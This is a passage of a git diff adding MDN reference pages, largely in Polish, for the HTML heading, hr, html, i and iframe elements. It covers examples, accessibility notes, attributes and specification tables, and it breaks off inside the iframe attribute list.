class="brush: html notranslate"><h1>Heading level 1</h1> +<h2>Heading level 2</h2> +<h3>Heading level 3</h3> +<h4>Heading level 4</h4> +<h5>Heading level 5</h5> +<h6>Heading level 6</h6> +</pre> + +<p>Here is the result of this code:</p> + +<p>{{ EmbedLiveSample('All_headings', '280', '300', '') }}</p> + +<h3 id="Example_page">Example page</h3> + +<p>The following code shows a few headings with some content under them.</p> + +<pre class="brush: html notranslate"><h1>Heading elements</h1> +<h2>Summary</h2> +<p>Some text here...</p> + +<h2>Examples</h2> +<h3>Example 1</h3> +<p>Some text here...</p> + +<h3>Example 2</h3> +<p>Some text here...</p> + +<h2>See also</h2> +<p>Some text here...</p> +</pre> + +<p>Here is the result of this code:</p> + +<p>{{ EmbedLiveSample('Example_page', '280', '480', '') }}</p> + +<h2 id="Accessibility_concerns">Accessibility concerns</h2> + +<h3 id="Navigation">Navigation</h3> + +<p>A common navigation technique for users of screen reading software is jumping from heading to heading to quickly determine the content of the page. Because of this, it is important to not skip one or more heading levels. Doing so may create confusion, as the person navigating this way may be left wondering where the missing heading is.</p> + +<h4 id="Dont">Don't</h4> + +<pre class="brush: html example-bad notranslate"><h1>Heading level 1</h1> +<h3>Heading level 3</h3> +<h4>Heading level 4</h4> +</pre> + +<h4 id="Do">Do</h4> + +<pre class="brush: html example-good notranslate"><h1>Heading level 1</h1> +<h2>Heading level 2</h2> +<h3>Heading level 3</h3> +</pre> + +<h4 id="Nesting">Nesting</h4> + +<p>Headings may be nested as subsections to reflect the organization of the content of the page. Most screen readers can also generate an ordered list of all the headings on a page, which can help a person quickly determine the hierarchy of the content:</p> + +<ol> + <li><code>h1</code> Beetles + + <ol> + <li><code>h2</code> Etymology</li> + <li><code>h2</code> Distribution and Diversity</li> + <li><code>h2</code> Evolution + <ol> + <li><code>h3</code> Late Paleozoic</li> + <li><code>h3</code> Jurassic</li> + <li><code>h3</code> Cretaceous</li> + <li><code>h3</code> Cenozoic</li> + </ol> + </li> + <li><code>h2</code> External Morphology + <ol> + <li><code>h3</code> Head + <ol> + <li><code>h4</code> Mouthparts</li> + </ol> + </li> + <li><code>h3</code> Thorax + <ol> + <li><code>h4</code> Prothorax</li> + <li><code>h4</code> Pterothorax</li> + </ol> + </li> + <li><code>h3</code> Legs</li> + <li><code>h3</code> Wings</li> + <li><code>h3</code> Abdomen</li> + </ol> + </li> + </ol> + </li> +</ol> + +<p>When headings are nested, heading levels may be "skipped" when closing a subsection.</p> + +<ul> + <li><a href="https://www.w3.org/WAI/tutorials/page-structure/headings/">Headings • Page Structure • WAI Web Accessibility Tutorials</a></li> + <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_—_Create_content_that_can_be_presented_in_different_ways">MDN Understanding WCAG, Guideline 1.3 explanations</a></li> + <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html">Understanding Success Criterion 1.3.1 | W3C Understanding WCAG 2.0</a></li> + <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_—_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">MDN Understanding WCAG, Guideline 2.4 explanations</a></li> + <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-skip.html">Understanding Success Criterion 2.4.1 | W3C Understanding WCAG 2.0</a></li> + <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-descriptive.html">Understanding Success Criterion 2.4.6 | W3C Understanding WCAG 2.0</a></li> + <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-headings.html">Understanding Success Criterion 2.4.10 | W3C Understanding WCAG 2.0</a></li> +</ul> + +<h3 id="Labeling_section_content">Labeling section content</h3> + +<p>Another common navigation technique for users of screen reading software is to generate a list of <a href="/en-US/docs/Web/HTML/Element#Content_sectioning">sectioning content</a> and use it to determine the page's layout.</p> + +<p>Sectioning content can be labeled using a combination of the <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></code> and {{htmlattrxref("id")}} attributes, with the label concisely describing the purpose of the section. This technique is useful for situations where there is more than one sectioning element on the same page.</p> + +<h4 id="Example">Example</h4> + +<pre class="brush: html notranslate"><header> + <nav aria-labelledby="primary-navigation"> + <h2 id="primary-navigation">Primary navigation</h2> + <!-- navigation items --> + </nav> +</header> + +<!-- page content --> + +<footer> + <nav aria-labelledby="footer-navigation"> + <h2 id="footer-navigation">Footer navigation</h2> + <!-- navigation items --> + </nav> +</footer> +</pre> + +<p>In this example, screen reading technology would announce that there are two {{HTMLElement("nav")}} sections, one called "Primary navigation" and one called "Footer navigation". If labels were not provided, the person using screen reading software may have to investigate each <code>nav</code> element's contents to determine their purpose.</p> + +<ul> + <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">Using the aria-labelledby attribute</a></li> + <li><a href="https://www.w3.org/WAI/tutorials/page-structure/labels/#using-aria-labelledby">Labeling Regions • Page Structure • W3C WAI Web Accessibility Tutorials</a></li> +</ul> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements', '<h1>, <h2>, <h3>, <h4>, <h5>, and <h6>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'sections.html#the-h1-h2-h3-h4-h5-and-h6-elements', '<h1>, <h2>, <h3>, <h4>, <h5>, and <h6>')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.5', '<h1>, <h2>, <h3>, <h4>, <h5>, and <h6>')}}</td> + <td>{{Spec2('HTML4.01')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("html.elements.h1")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTMLElement("p")}}</li> + <li>{{HTMLElement("div")}}</li> + <li>{{HTMLElement("section")}}</li> +</ul> diff --git a/files/pl/web/html/element/hr/index.html b/files/pl/web/html/element/hr/index.html new file mode 100644 index 0000000000..f7986c208c --- /dev/null +++ b/files/pl/web/html/element/hr/index.html @@ -0,0 +1,57 @@ +--- +title: hr +slug: Web/HTML/Element/hr +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/hr +--- +<p> </p> + +<p> </p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Element <code><strong><hr></strong></code> reprezentuje zmianę tematu pomiędzy akapitami, np. zmiana sceny w powieści lub przejście do innego tematu w sekcji. W poprzednich wersjach HTML znacznik <code><strong><hr></strong></code> reprezentował poziomą linię. Niektóre przeglądarki nadal mogą wyświetlać go jako wypukłą lub wklęsłą linię, jednak ma on ściśle zdefiniowane semantyczne znaczenie i nie służy względom prezentacyjnym.</p> + +<h3 id="Atrybuty" name="Atrybuty">Atrybuty</h3> + +<dl> + <dt>align {{ Deprecated_inline() }}</dt> + <dd>Ustawia położenie na stronie. Jeśli wartość nie jest zdefiniowana, to domyślną wartością jest <code>left</code>.</dd> + <dt>color {{ Non-standard_inline() }}</dt> + <dd>Ustawia kolor linii poprzez podanie jego wartości hexadecymalnej lub nazwy.</dd> + <dt>noshade {{ Deprecated_inline() }}</dt> + <dd>Ustawia brak cieniowania linii.</dd> + <dt>size {{ Deprecated_inline() }}</dt> + <dd>Ustawia wysokość, podaną w pikselach.</dd> + <dt>width {{ Deprecated_inline() }}</dt> + <dd>Ustawia długość linii na stronie, którą podajemy w pikselach lub procentach.</dd> +</dl> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre> <p>To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu. + To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu.</p> + + <hr> + + <p>To jest drugi akapit tekstu. To jest drugi akapit tekstu. + To jest drugi akapit tekstu. To jest drugi akapit tekstu.</p> +</pre> + +<p>Powyższy HTML daje w rezultacie:</p> + +<p>To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu.</p> + +<hr> +<p>To jest drugi akapit tekstu. To jest drugi akapit tekstu. To jest drugi akapit tekstu. To jest drugi akapit tekstu.</p> + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<p>Nie jest to wymagane przez <a href="pl/HTML">HTML</a>, jednak w <a href="pl/XHTML">XHTML</a> linia pozioma musi mieć znacznik zamykający, więc znacznik tego elementu będzie wyglądał tak: <code><strong><hr /></strong></code>.</p> + +<p>Atrybut <code>color</code> zwykle działa w przeglądarkach, lecz nie jest on poprawny według specyfikacji HTML i XHTML. Autorzy stron, którzy troszczą się o poprawność ich stron, powinni użyć CSS do zdefiniowania koloru.</p> + +<p>{{ HTML:Element_Navigation() }}</p> + +<p>{{ languages( { "en": "en/HTML/Element/hr" } ) }}</p> diff --git a/files/pl/web/html/element/html/index.html b/files/pl/web/html/element/html/index.html new file mode 100644 index 0000000000..e6e932bdc1 --- /dev/null +++ b/files/pl/web/html/element/html/index.html @@ -0,0 +1,122 @@ +--- +title: '<html>: Dokument HTML / Element Nadrzędny' +slug: Web/HTML/Element/html +tags: + - Element + - HTML + - HTML Element Nadrzędny + - Reference + - Web +translation_of: Web/HTML/Element/html +--- +<p>{{HTMLRef}}</p> + +<p><strong>Element HTML <code><html></code></strong> reprezentuje główny (nadrzędny) element dokumentu HTML, więc jest on również określany jako <em>element nadrzędny</em>. Wszystkie pozostałe elementy muszą być potomkami tego elementu.</p> + +<table class="properties"> + <tbody> + <tr> + <th><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th> + <td>Brak.</td> + </tr> + <tr> + <th>Dozwolona zawartość</th> + <td>Jeden element {{HTMLElement("head")}}, po którym następuje jeden element {{HTMLElement("body")}}.</td> + </tr> + <tr> + <th>Pominięcie znacznika</th> + <td>Znacznik startowy może zostać pominięty, jeśli pierwszą rzeczą wewnątrz elementu <code><html></code> nie jest komentarz. Znacznik końcowy może zostać pominięty, jeżeli po elemencie <code><html></code> nie nastąpi od razu komentarz.</td> + </tr> + <tr> + <th>Dozwoleni rodzice</th> + <td>Brak. To jest główny element dokumentu.</td> + </tr> + <tr> + <th>Dozwolone role ARIA</th> + <td>Brak</td> + </tr> + <tr> + <th>Interfejs DOM</th> + <td>{{domxref("HTMLHtmlElement")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Atrybuty">Atrybuty</h2> + +<p>Ten element uwzględnia <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p> + +<dl> + <dt>{{htmlattrdef("manifest")}} {{obsolete_inline}}</dt> + <dd>Określa URI manifestu zasobów, wskazując zasoby, które powinny być buforowane lokalnie. Zobacz sekcję <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Zasoby_offline_w_Firefoksie">Korzystanie z pamięci podręcznej aplikacji</a> w celu uzyskania szczegółowych informacji.</dd> + <dt>{{htmlattrdef("version")}} {{obsolete_inline}}</dt> + <dd>Określa wersję {{glossary("DTD", "Definicji Typu Dokumentu")}} HTML, która reguluje bieżący dokument. Ten atrybut nie jest potrzebny, ponieważ jest zbędny w stosunku do informacji o wersji w deklaracji typu dokumentu.</dd> + <dt>{{htmlattrdef("xmlns")}}</dt> + <dd>Określa Przestrzeń Nazw XML dokumentu. Domyślną wartością jest <code>"http://www.w3.org/1999/xhtml"</code>. Jest to wymagane w dokumentach przetwarzanych formatem XML oraz opcjonalnie w dokumentach text/html.</dd> +</dl> + +<h2 id="Przykład">Przykład</h2> + +<pre class="brush: html"><!DOCTYPE html> +<html lang="pl"> + <head>...</head> + <body>...</body> +</html> +</pre> + +<h2 id="Kwestie_dostępności">Kwestie dostępności</h2> + +<p>Nadanie atrybutu {{htmlattrxref("lang")}} z <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">poprawnym znacznikiem języka identyfikacyjnego IETF</a> w elemencie <code>html</code> pomoże w określeniu właściwego języka przez technologię odczytu ekranowego. Znacznik identyfikujący język powinien opisywać język używany przez większość treści strony. Bez niego, czytniki ekranu zazwyczaj domyślnie ustawiają język systemu operacyjnego, co może powodować błędne wymowy.</p> + +<p>Dołączenie poprawnej deklaracji <code>lang</code> w elemencie <code>html</code> zapewnia również, że ważne metadane zawarte w sekcji {{HTMLElement("head")}} strony, takie jak {{HTMLElement("title")}}, są również poprawnie ogłaszane.</p> + +<ul> + <li><a href="https://developer.mozilla.org/pl/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.1_—_Readable_Make_text_content_readable_and_understandable">MDN Zrozumienie WCAG, Wytyczna 3.1 wyjaśnienia</a></li> + <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/meaning-doc-lang-id.html">Understanding Success Criterion 3.1.1 | W3C Understanding WCAG 2.0</a></li> +</ul> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'semantics.html#the-html-element', '<html>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'semantics.html#the-html-element', '<html>')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td> + <p>Dodano obsługę atrybutu <code>manifest</code> (wycofano później).</p> + + <p>Przestarzały atrybut <code>version</code></p> + </td> + </tr> + <tr> + <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.3', '<html>')}}</td> + <td>{{Spec2('HTML4.01')}}</td> + <td>Nieaktualny atrybut <code>version</code></td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2> + + + +<p>{{Compat("html.elements.html")}}</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>Element najwyższego poziomu MathML: {{MathMLElement("math")}}</li> + <li>Element najwyższego poziomu SVG: {{SVGElement("svg")}}</li> +</ul> diff --git a/files/pl/web/html/element/i/index.html b/files/pl/web/html/element/i/index.html new file mode 100644 index 0000000000..0eb0d9cc3b --- /dev/null +++ b/files/pl/web/html/element/i/index.html @@ -0,0 +1,19 @@ +--- +title: i +slug: Web/HTML/Element/i +tags: + - HTML + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/i +--- +<p> </p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Element <code><i>...</i></code> powoduje wyświetlenie tekstu pisanego kursywą. </p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="brush: html"><p>To jest pierwsze wyrażenie. <i>Całe to wyrażenie jest napisane kursywą..</i></p> +</pre> +<h4 id="Rezultat" name="Rezultat">Rezultat</h4> +<p>To jest pierwsze wyrażenie. <em>Całe to wyrażenie jest napisane kursywą.</em></p><h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><a href="pl/HTML/Element/em">Znacznik <code><b><em></b></code></a> +</p><p>{{ HTML:Element_Navigation() }} +</p>{{ languages( { "en": "en/HTML/Element/i" } ) }} diff --git a/files/pl/web/html/element/iframe/index.html b/files/pl/web/html/element/iframe/index.html new file mode 100644 index 0000000000..19d9e9404e --- /dev/null +++ b/files/pl/web/html/element/iframe/index.html @@ -0,0 +1,292 @@ +--- +title: '<iframe>: Element ramki iframe' +slug: Web/HTML/Element/iframe +tags: + - Element + - Frames + - HTML + - Inline Frames + - Reference + - Web + - iframe + - osadzanie + - osadzony + - ramki + - treść osadzana HTML + - treść osadzona +translation_of: Web/HTML/Element/iframe +--- +<div>{{HTMLRef}}</div> + +<p><span class="seoSummary"><strong>Element ramki Iframe HTML (<code><iframe></code>)</strong> reprezentuje zagnieżdżony {{Glossary("browsing context")}} poprzez osadzanie innej strony HTML w aktualnej.</span></p> + +<div>{{EmbedInteractiveExample("pages/tabbed/iframe.html", "tabbed-standard")}}</div> + +<div class="hidden">Źródło niniejszego przykładu interaktywnego znajduje się w repozytorium na GitHubie. Jeśli chcesz mieć swój udział w tworzeniu tego przykładu, sklonuj <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> i wyślij nam żądanie pull.</div> + +<p>Każdy osadzony, przeglądarkowy kontekst posiada własną <a href="/en-US/docs/Web/API/History">historię sesji</a> i interfejs <a href="/en-US/docs/Web/API/Document">document</a>. Kontekst przeglądarkowy, który umożliwia osadzanie innych stron nazywany jest <em>przeglądarkowym kontekstem-rodzicem </em>(<em><dfn>parent</dfn> browsing context</em>). <em>Najwyższy</em> kontekst przeglądarki — nieposiadający rodzica — to przeważnie okno przeglądarki reprezentowane przez objekt {{domxref("Window")}}.</p> + +<div class="blockIndicator warning"> +<p>Ponieważ każdy kontekt przeglądarkowy jest kompletnym środowiskiem dokumentu, każdy <code><iframe></code> na stronie wymaga zwiększenia pamięci i innych zasobów komputera. Teoretycznie możesz używać tyle <code><iframe></code>ów, ile sobie zamarzysz - sprawdź jednak, czy nie występują problemy z wydajnością.</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Kategorie kontentu</a></th> + <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Treści płynne (flow content)</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">treści frazujące (phrasing content)</a>, treści osadzone, treści interaktywne, treści namacalne (palpable content).</td> + </tr> + <tr> + <th scope="row">Dozwolone treści</th> + <td>Brak.</td> + </tr> + <tr> + <th scope="row">Pominięcie tagu</th> + <td>{{no_tag_omission}}</td> + </tr> + <tr> + <th scope="row">Dozwoleni rodzice</th> + <td>Każdy element, który akceptuje treści osadzone.</td> + </tr> + <tr> + <th scope="row">Dozwolone role ARIA</th> + <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("img")}}</td> + </tr> + <tr> + <th scope="row">Interfejs DOM</th> + <td>{{domxref("HTMLIFrameElement")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Atrybuty">Atrybuty</h2> + +<p>Ten element zawiera <a href="/en-US/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p> + +<dl> + <dt>{{htmlattrdef("allow")}}</dt> + <dd>Określa <a href="/en-US/docs/Web/HTTP/Feature_Policy">reguły funkcji</a> dla <code><iframe></code>.</dd> + <dt>{{htmlattrdef("allowfullscreen")}}</dt> + <dd>Ustawiony na <code>true</code>, jeśli <code><iframe></code>może aktywować tryb na pełen ekran poprzez wywołanie metody {{domxref("Element.requestFullscreen", "requestFullscreen()")}}.</dd> + <dd> + <div class="note">Ten atrybut jest uznawany za przestarzały i przedefiniowany na <code>allow="fullscreen"</code>.</div> + </dd> + <dt>{{htmlattrdef("allowpaymentrequest")}}</dt> + <dd>Ustawiony na <code>true</code>, jeśli cross-originowy <code><iframe></code> powinien być dopuszczony do wywoływania <a href="/en-US/docs/Web/API/Payment_Request_API">Żądania Płatności (Payment Request) API</a>.</dd> + <dd> + <div class="note">Ten atrybut jest uznawany za przestarzały i przedefiniowany na <code>allow="payment"</code>.</div> + </dd> + <dt>{{htmlattrdef("csp")}} {{experimental_inline}}</dt> + <dd><a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy</a> wymuszone dla zasobów osadzonych. Po więcej informacji sprawdź {{domxref("HTMLIFrameElement.csp")}}.</dd> + <dt>{{htmlattrdef("height")}}</dt> + <dd>Wysokość ramki w pikselach CSS. Domyślna wartość to <code>150</code>.</dd> + <dt id="name-attribute">{{htmlattrdef("importance")}} {{experimental_inline}}</dt> + <dd>Priorytet pobierania źródła w <code><iframe></code>'owym atrybucie <code>src</code>. Dopuszczone wartości: + <dl> + <dt><code>auto</code> (domyślna)</dt> + <dd>Bez preferencji. Przeglądarka używa własnych heurytystyk do decydowania o pierwszeństwie zasobu.</dd> + <dt><code>high</code></dt> + <dd>Zasób powinien zostać pobrany przed innymi zasobami stron o niższym priorytecie.</dd> + <dt><code>low</code></dt> + <dd>Zasób powinien zostać pobrany po innych zasobach stron o wyższym priorytecie.</dd> + </dl> + </dd> + <dt>{{htmlattrdef("loading")}} {{experimental_inline}}</dt> + <dd>Wskazuje, jak przeglądarka powinna ładować iframe: + <ul> + <li><code>eager</code>: Załaduj iframe niezwłocznie, niezależnie czy jest poza widocznym oknem podglądu (jest to wartość domyślna).</li> + <li><code><font face="consolas, Liberation Mono, courier, monospace">lazy</font></code>: Wstrzymaj ładowanie iframe póki nie osiągnie obliczonej odległości od okna podglądu, zgodnie z definicją przeglądarki.</li> + </ul> + </dd> + <dt>{{htmlattrdef("name")}}</dt> + <dd>Docelowa nazwa dla osadzonego kontektu przeglądarkowego. Może być używana w atrybucie <code>target</code> elementów {{HTMLElement("a")}}, {{HTMLElement("form")}} czy {{HTMLElement("base")}}; atrybut <code>formtarget</code> elementów {{HTMLElement("input")}} lub {{HTMLElement("button")}}; czy parametr <code>windowName</code> w metodzie {{domxref("Window.open()","window.open()")}}.</dd> + <dt id="attr-referrer">{{htmlattrdef("referrerpolicy")}}</dt> + <dd>Wskazuje, którego <a href="/en-US/docs/Web/API/Document/referrer">polecającego</a> wysłać podczas przechwytywania zasobów ramki: + <ul> + <li><code>no-referrer</code>: Nagłówek {{HTTPHeader("Referer")}} nie zostanie wysłany.</li> + <li><code>no-referrer-when-downgrade</code> (domyślny): Nagłówek {{HTTPHeader("Referer")}} nie zostanie wysłany do {{Glossary("origin")}}ów bez {{Glossary("TLS")}} ({{Glossary("HTTPS")}}).</li> + <li><code>origin</code>: Wysłany polecający zostanie ograniczony do originu strony odsyłającej: jej <a href="/en-US/docs/Archive/Mozilla/URIScheme">schematu</a>, {{Glossary("host")}}u, i {{Glossary("port")}}u.</li> + <li><code>origin-when-cross-origin</code>: Polecający wysłany do innych originów zostanie ograniczony do schematu, hostu i portu. Nawigacje o tym samym originie będą nadal zawierać ścieżkę.</li> + <li><code>same-origin</code>: Polecający zostanie wysłany przy {{Glossary("Same-origin policy", "same origin")}}, ale żądania cross-origin nie będą zawierać informacji polecającego.</li> + <li><code>strict-origin</code>: Wyśle origin dokumentu jako polecający tylko, gdy poziom bezpieczeństwa protokołu jest ten sam (HTTPS→HTTPS), nie wyśle do miejsca docelowego, jeśli jest mniej bezpieczne (HTTPS→HTTP).</li> + <li><code>strict-origin-when-cross-origin</code>: Wyśle pełen URL w przypadku żądania same-origin, wyśle origin tylko, jeśli poziom bezpieczeństwa protokołu jest ten sam (HTTPS→HTTPS) i nie wyśle nagłówka, jeśli miejsce docelowe jest mniej bezpieczne (HTTPS→HTTP).</li> + <li><code>unsafe-url</code>: Polecający będzie zawierać origin <em>oraz</em> ścieżkę (ale nie <a href="/en-US/docs/Web/API/HTMLHyperlinkElementUtils/hash">fragment</a>u, <a href="/en-US/docs/Web/API/HTMLHyperlinkElementUtils/password">hasła</a> czy <a href="/en-US/docs/Web/API/HTMLHyperlinkElementUtils/username">nazwy użytkownika</a>). <strong>Ta wartość nie jest bezpieczna</strong>, ponieważ pozwala na wyciek originów i ścieżek z zasobów chronionych TLS do originów niebezpiecznych.</li> + </ul> + </dd> + <dt>{{htmlattrdef("sandbox")}}</dt> + <dd>Stosuje dodatkowe restrykcje wobec treści ramce. Wartość atrybutu może pozostać pusta (obowiązywać będą wszystkie restrykcje) lub tokeny odseprowane spacją, aby wymusić określone restrykcje: + <ul> + <li><code>allow-downloads-without-user-activation</code> {{experimental_inline}}: Zezwala na pobieranie bez zatwierdzenie przez użytkownika.</li> + <li><code>allow-forms</code>: Zezwala zasobom na zatwierdzanie formularzy. Jeśli niniejsze słowo kluczowe nie zostaje użyte, zatwierdzanie formularzy jest zablokowane.</li> + <li><code>allow-modals</code>: Pozwala zasobom na <a href="https://html.spec.whatwg.org/multipage/origin.html#sandboxed-modals-flag">otwieranie okienek modalnych</a>.</li> + <li><code>allow-orientation-lock</code>: Pozwala zasobom na <a href="/en-US/docs/Web/API/Screen/lockOrientation">zablokowanie orientacji wyświetlacza</a>.</li> + <li><code>allow-pointer-lock</code>: Pozwala zasobom na używanie <a href="/en-US/docs/WebAPI/Pointer_Lock">Pointer Lock API</a>.</li> + <li><code>allow-popups</code>: Pozwala na wyskakujące okienka/otwieranie kart (jak np. <code>window.open()</code>, <code>target="_blank"</code> czy <code>showModalDialog()</code>). Jeśli niniejsze słowo kluczowe nie zostaje użyte, popupy nie zostaną otwarte.</li> + <li><code>allow-popups-to-escape-sandbox</code>: Pozwala dokumentowi w piaskownicy (sandbox) na otwieranie nowych okien bez dziedziczenia przez nie sandboxingu. Dzięki temu możliwe jest np. sandboxowanie reklamy bez wymuszania tej samej restrykcji na stronie, do której prowadzi link z tej reklamy.</li> + <li><code>allow-presentation</code>: Pozwala zasobom uruchomić <a href="/en-US/docs/Web/API/PresentationRequest">sesję prezentacji</a>.</li> + <li><code>allow-same-origin</code>: Jeśli ten token nie jest użyty, zasób jest traktowany jako pochodzący ze specjalnego źródła, które nie spełnia wymogów {{Glossary("same-origin policy")}}.</li> + <li><code>allow-scripts</code>: Pozwala zasobom na uruchomienie skryptów (ale nie na tworzenie wyskakujących okienek).</li> + <li><code>allow-storage-access-by-user-activation</code> {{experimental_inline}}: Pozwala zasobom na żądanie dostępu do pamięci masowej rodzica poprzez <a href="/en-US/docs/Web/API/Storage_Access_API">Storage Access API</a>.</li> + <li><code>allow-top-navigation</code>: Pozwala zasobom na nawigację kontekstu najwyższego poziomu przeglądarki (<code>_top</code>).</li> + <li><code>allow-top-navigation-by-user-activation</code>: Pozwala zasobom na nawigację kontekstu najwyższego poziomu przeglądarki, ale jedynie gdy akcja zainicjowana jest przez gest użytkownika.</li> + </ul> + + <div class="note"><strong>Notka o sandboxingu:</strong> + + <ul> + <li>Jeśli dokument osadzony jest tego samego pochodzenia, jak strona osadzająca <strong>mocno odradza się</strong> używania <code>allow-scripts</code> i <code>allow-same-origin</code>, ponieważ pozwala to osadzonemu dokumentowi na usunięcie atrybutu <code>sandbox</code>, sprawiając tym samym, że jest on tak samo niezabezpieczony, jak dokument nie używający w ogóle atrybutu <code>sandbox</code>.</li> + <li>Sandboxing jest bezużyteczny, jeśli atakujący może wyświetlać zawartość poza sandboxowanym <code>iframe</code> — np. jeśli przeglądarka otwiera ramkę na nowej karcie. Tego typu treść musi zatem być dostarczana z <em>oddzielnego źródła</em>, aby ograniczyć zasięg potencjalnych szkód.</li> + <li>Atrybut <code>sandbox</code> nie jest wspierany w Internet Explorer 9 i wcześniejszych wersjach.</li> + </ul> + </div> + </dd> + <dt>{{htmlattrdef("src")}}</dt> + <dd>URL strony do osadzenia. Użyj wartości <code>about:blank</code> do osadzenia pustej strony, co jest zgodne z polityką <a href="/en-US/docs/Web/Security/Same-origin_policy#Inherited_origins">same-origin</a>. Wiedz, że programowo usuwanie atrybutu src <code><iframe></code>'u (np. poprzez {{domxref("Element.removeAttribute()")}}) powoduje załadowanie <code>about:blank</code> w ramce w Firefoxie (from version 65), przeglądarkach na Chromium i Safari/iOS.</dd> + <dt>{{htmlattrdef("srcdoc")}}</dt> + <dd>Osadzenie treści HTML poprzed nadpisanie atrybutu <code>src</code>. Jeśli przeglądarka nie wspiera atrybutu <code>srcdoc</code>, odwoła się do URL z atrybutu <code>src</code>.</dd> + <dt>{{htmlattrdef("width")}}</dt> + <dd>Szerokość ramki w pikselach CSS. Domyślna wartość to <code>300</code>.</dd> +</dl> + +<h3 id="Nieużywane_atrybuty">Nieużywane atrybuty</h3> + +<p>Poniższe atrybuty są przestarzałe i mogą nie być już dłużej wspierane przez przeglądarki użytkowników. Nie powinno się ich używać przy tworzeniu nowych treści oraz powinno się możliwie usuwać z już istniejących treści.</p> + +<dl> + <dt>{{htmlattrdef("align")}} {{deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt> + <dd>Wyrównanie elementu z uwzględnieniem kontekstu.</dd> + <dt>{{htmlattrdef("frameborder")}} {{obsolete_inline("html5")}}</dt> + <dd>Wartość <code>1</code> (domyślna) rysuje krawędź wokół tej ramki. Wartość <code>0</code> usuwa krawędź wokół tej ramki, ale zamiast tego rozwiązania do kontroli krawędzi <code><iframe></code> powinno się używać własności CSS {{cssxref("border")}}.</dd> + <dt>{{htmlattrdef("longdesc")}} {{obsolete_inline("html5")}}</dt> + <dd>URL długiego opisu zawartości ramki. Z powodu częstego nadużywania nie jest przydatny w przypadku przeglądarek niewizualnych.</dd> + <dt>{{htmlattrdef("marginheight")}} {{obsolete_inline("html5")}}</dt> + <dd>Rozmiar obszaru mierzony w pikselach pomiędzy zawartością ramki oraz jej górną i dolną krawędzią.</dd> + <dt>{{htmlattrdef("marginwidth")}} {{obsolete_inline("html5")}}</dt> + <dd>Rozmiar obszaru mierzony w pikselach pomiędzy zawartością ramki oraz jej lewą i prawą krawędzią.</dd> + <dt>{{htmlattrdef("scrolling")}} {{obsolete_inline("html5")}}</dt> + <dd>Wskazuje, kiedy przeglądarka powinna zapewnić pasek przewijania dla ramki: + <ul> + <li><code>auto</code>: Tylko, jeśli zawartość ramki jest większa niż jej wymiary.</li> + 